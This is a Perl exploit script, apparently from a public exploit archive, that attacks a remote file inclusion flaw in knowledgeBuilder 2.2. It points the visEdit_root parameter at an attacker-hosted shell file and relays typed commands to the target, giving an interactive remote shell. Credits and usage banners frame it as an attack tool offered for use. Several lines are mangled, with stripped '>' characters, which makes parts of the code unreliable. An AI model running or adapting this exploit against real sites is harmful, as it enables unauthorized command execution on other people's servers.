#!/usr/bin/perl
 #
 # knowledgeBuilder v.2.2.php.NuLL-WDYL=  Remote File Include Vulnerability
 # Script.............. :knowledgebuilder php.NuLL WDYL
 # Discovered By.... : IGI
 # Expl0iter ........ : Root3r_H3LL    # Location .......... : Iran
 # Class..............  : Remote
 # Original Advisory :http://www.Virangar.org & http://Www.PersainFox.com
 # <Spical TNX Irania Hackers :
 #  ( Aria-Security , Crouz , DeltaHacking , Iranhackers
 #   Kapa TeaM , Ashiyane , Shabgard , Simorgh-ev, Xmors )

 use LWP::UserAgent;
 use LWP::Simple;

 $target = @ARGV[0];
 $shellsite = @ARGV[1];
 $shellcmd = @ARGV[2];
 $file = "/admin/e_data/visEdit_control.class.php?visEdit_root=";

 if(!$target || !$shellsite)
 {
     usage();
 }

 header();

 print "Type 'exit' to quit";
 print "[cmd]\$";
 $cmd = <STDIN;

 while ($cmd !~ "exit")
 {
     $xpl = LWP::UserAgent-new() or die;
         $req =
 HTTP::Request-new(GET=$target.$file.$shellsite.'?&'.$shellcmd.'='.$cmd)
 or die("\n\n Failed to connect.");
         $res = $xpl-request($req);

 $r = $res-content;
         $r =~ tr/[\n]/[&#234;]/;

     if (@ARGV[4] eq "-r")
     {
         print $r;
     }
     elsif (@ARGV[5] eq "-p")
     {
     # if not working change cmd variable to null and apply patch manually.
     $cmd = "echo if(basename(__FILE__) == basename(\$_SERVER['PHP_SELF'])) die();  visEdit_control.class.php";
     print q
     {
 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 !!                                Patch Applied                              !!
 !! Code added to visEdit_control.class.php:                                  !!
 !! if(basename(__FILE__) == basename($_SERVER['PHP_SELF']))                  !!
 !!    die();                                                                 !!
 !!                                                                           !!
 !! NOTE: Adding patch function has not been tested. If does not complie or   !!
 !! there is an error, simply make cmd = null and add the patch code to       !!
 !! visEdit_control.class.php                                                 !!
 !!                                                                           !!
 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
     }
     }
     else
     {
     print "[cmd]\$";
     $cmd = <STDIN;
     }
 }

 sub header()
 {
     print q
     {
 ................................................................
 ..                                                            ..
 ..     knowledgebuilder <=  Remote File Include  Exploit      ..
 ..                                                            ..
 ................................................................
 ..                Virangar Under Ground TeaM                   ..
 ..                           AND                              ..
 ..              PerSiaNFox NetWork Security TeaM              ..
 ..                  Discovered By : IGI                       ..
 ..                 ExPl0iter : Root3r_H3LL                    ..
 ................................................................
 ..                     Www.Virangar.OrG                       ..
 ..                    Www.PerSiaNFox.coM                      ..
 ..                     Www.Virangar.NeT                       ..
 ................................................................

                    </\/\\/_ 10\/3 15 1|)\4/\/
     };
 }

 sub usage()
 {
 header();
     print q
     {
                 ..............................
                             Usage

 perl Expl0it.pl <Target website <Shell Location <CMD Variable <-r <-p
 <Target Website - Path to target eg: www.SiteName.com
 <Shell Location - Path to shell eg: www.Sh3llserver.com/sh3ll.txt
 <CMD Variable - Shell command variable name eg: cmd
 <r - Show output from shell
 <p - Patch visEdit_control.class.php
                            Example

 perl Expl0it.pl http://SiteName http://Sh3llserver/sh3ll.txt cmd -r -p


     };
 exit();
 }